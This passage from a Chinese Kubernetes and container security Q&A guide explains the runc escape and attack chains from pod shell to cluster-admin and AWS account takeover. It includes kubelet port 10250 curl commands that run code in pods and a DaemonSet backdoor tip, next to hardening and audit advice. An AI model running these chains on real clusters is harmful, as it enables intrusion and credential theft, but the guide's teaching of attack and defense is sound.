入宿主机的所有 namespace。
Q17:CVE-2019-5736(runc 逃逸)的原理?
容器内的恶意进程通过
/proc/self/exe获得了宿主机 runc 二进制文件的文件描述
符,在 runc 执行完容器后 exec 用户进程时,将恶意代码写入 runc 二进制。下次任
何容器启动时,宿主机上的 runc 会执行攻击者的恶意代码。
Q18:什么样的 YAML 配置容易导致容器逃逸?
securityContext.privileged: true、hostPID: true、hostNetwork: true、hostIPC: true、volumes.hostPath.path: "/"、volumes.hostPath.path: "/var/run/docker.sock"、volumes.hostPath.path: "/proc"(且可写)。任
何一个单独出现都可以构成逃逸条件。
攻击链与提权(★★★)
Q19:从拿到一个 Pod 的 shell,到控制整个 K8s 集群,完整攻击链是什么?
① 读
/var/run/secrets/kubernetes.io/serviceaccount/token获取 SA Token
②kubectl auth can-i --list枚举权限
③ 根据发现权限:
- 有create pods→ 创建特权 Pod 挂载宿主机根目录 → 逃逸到 Node
- 有get secrets→ 读取 kube-system 中的高权限 SA Token
- 有pods/exec→ 横向到其他 Pod 窃取 Token
- 有create clusterrolebindings→ 绑定自己为 cluster-admin
④ 逃逸到 Node(尤其 Master)→ 读取/etc/kubernetes/admin.conf→ cluster-admin
⑤ 窃取云 IAM 凭证(如果 EKS/AKS/GKE)→ 扩展到云平台
Q20:最常见的 RBAC 权限滥用路径有哪些?
①
create pods→ 创建特权 Pod 逃逸
②get/list secrets→ 窃取其他 SA 的 Token
③pods/exec→ 横向移动窃取 Token
④create clusterrolebindings→ 自提权为 cluster-admin
⑤impersonate→ 伪装系统用户
⑥ 通配符***→ 直接等于 cluster-admin
Q21:如果 SA 有 create pods 权限但没有 get secrets,怎么提权?
创建特权 Pod 逃逸到宿主机 Node → 从 Node 上直接读取文件系统中的 kubelet 凭证
(/etc/kubernetes/kubelet.conf)→ 用 kubelet 身份调用 API Server。如果成功
调度到 Master 节点 → 读取/etc/kubernetes/admin.conf→ cluster-admin。
Q22:Kubelet 10250 端口没开认证,怎么利用?
①
curl -k https://NODE_IP:10250/pods/列所有 Pod
②curl -XPOST -k "https://NODE_IP:10250/run/<ns>/<pod>/<container>" -d "cmd=id"
在任意 Pod/容器内执行命令
③ 读取容器内的 SA Token → 横向或提权
Q23:如何从 worker Node 打到 master Node?
① 利用
nodeName或污点容忍,调度恶意 Pod 到 Master 节点
② 读取 Master 节点文件系统中的/etc/kubernetes/admin.conf和/etc/kubernetes/pki/
③ 如果能找到 kubelet 凭证(/etc/kubernetes/kubelet.conf),用它通过 API 创
建资源时指定调度到 Master
④ 关注 kube-system namespace 中的 Pod(控制平面组件以静态 Pod 方式运行在 Master 上)
Q24:etcd 2379 暴露的危害?怎么利用?
etcd 存储集群所有配置和 Secret(SA Token 的 base64)。用 etcdctl 连接后可
以枚举全部 key,直接读取 Secret 内容,获取任何 SA 的 Token。如果集群启用了
etcd 静态加密,则需要额外拿到加密密钥。另外 etcd 的 2380 端口(Raft 通信)也
可用于 DoS。
Q25:DaemonSet 在持久化中有什么特殊价值?
DaemonSet 会自动在每个 Node(包括未来新增的 Node)上运行一个 Pod 副本。把后
门部署为 DaemonSet → 全集群覆盖 + 自动扩展。放在kube-systemnamespace 中
伪装成系统组件,隐蔽性极高。
防御与安全实践(★★☆)
Q26:如何防止容器逃逸?
① 禁止
--privileged,按需使用--cap-add;② 不挂载敏感 hostPath(/、/proc、/var/run/docker.sock);③ 使用 Pod Security Standards 的 Restricted 级别;
④ 启动 seccomp/AppArmor;⑤ 容器以非 root 运行;⑥ 启用 User Namespace;⑦ 及
时更新 Docker/runc/内核。
Q27:K8s RBAC 安全最佳实践?
① 每个应用使用独立 SA,避免用 default SA;② 禁止
*通配符(resources 和 verbs);
③ 用 Role + RoleBinding 做命名空间隔离;④ 定期审计kubectl auth can-i --list;
⑤ 设置automountServiceAccountToken: false对不需要调 API 的 Pod;⑥ 使用
NetworkPolicy 阻断应用 Pod 到 API Server 的通信。
Q28:如何检测集群中是否存在特权容器?
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged==true) | .metadata.name'
Q29:K8s Secret 是加密的吗?怎么安全使用?
默认只是 base64 编码,不是加密。安全措施:① 在 etcd 层启用静态加密(encryption
at rest);② 使用外部密钥管理(如 HashiCorp Vault、AWS Secrets Manager);
③ 用 RBAC 严格控制get secrets权限;④ 不建议将 Secret 存入 Git。
Q30:如何检测和防御 SA Token 滥用?
① 设置
automountServiceAccountToken: false;② 使用短期 Token(TokenRequest
API / projected volume);③ OIDC 集成(IRSA/EKS Pod Identity),绑定 IAM 角色
而非静态 Secret;④ Falco 运行时检测异常 API 调用模式。
综合场景(★★★)
Q31:你在 CI/CD 流水线的 Dockerfile 中发现了 COPY .kube/config /root/.kube/config,风险评估?
极高风险——kubeconfig 被打包进 Docker 镜像→镜像推送至 Docker Hub(尤其 public)→
任何人都能拉取镜像并提取 kubeconfig → 获得集群访问权限。2025-2026 年这类泄露
导致大量集群被接管。应使用 CI/CD 平台的 Secret 管理功能注入 kubeconfig,不在
镜像中硬编码。
Q32:如何从 Pod 网络隔离的角度设计安全架构?
使用 NetworkPolicy:① 默认拒绝所有出站流量,白名单开放;② 阻断非系统 Pod 到
API Server Service IP 的出站;③ 按应用分组,组内互通、跨组隔离;④ DNS 白名
单限制外部通信。
Q33:K8s 审计日志应该关注哪些事件?
clusterrolebindings 的 create/update、pods/exec 调用、secrets 的 list/get、
特权 Pod 的创建(securityContext.privileged=true)、hostPath 挂载的 Pod 创建、
任何发生在 kube-system 命名空间的可疑操作。
Q34:如果一个 SA 只有 list pods 权限,还能造成危害吗?
能。只读权限可以:① 枚举所有 Pod 配置→发现可攻击的 Pod(特权容器、docker.sock
挂载、hostPath 挂载);② 发现 Pod 所在的 Node;③ 发现 kube-system 中的控制
平面组件;④ 发现 Service 信息 → 找到内部应用的网络入口。信息收集是所有攻击
的第一步。
Q35:描述一次从 Web RCE 到云平台控制的完整攻击链?
① Web 应用 RCE → 拿到业务 Pod shell(root);② 读 SA Token → 发现
create pods
权限;③ 创建特权 Pod 指定调度到 Master 节点,挂载/到/host;④ 特权 Pod
中chroot /host→ 逃逸到 Master Node;⑤ 读取/etc/kubernetes/admin.conf→
cluster-admin;⑥ 发现是 EKS 集群 → 请求 IMDS169.254.169.254→ 获取 Node 的
IAM 角色凭证;⑦ 用该角色访问 AWS → 读取 S3、RDS、跨账号访问。从一行代码到整
个 AWS 账号,链条形成。
附录:完整命令速查表
A.1 Docker 逃逸命令
1 | # === 环境判断 === |
A.2 K8s 信息收集命令
1 | # === SA Token 信息 === |
A.3 K8s RBAC 提权命令
1 | # === 创建 Pod 逃逸 === |
A.4 防御审计命令
1 | # 查特权容器 |
A.5 云凭证窃取命令
1 | # AWS IMDSv1 |
本指南仅供合法授权的安全测试与学习研究使用。未经授权对他人系统进行渗透测试属于违法行为。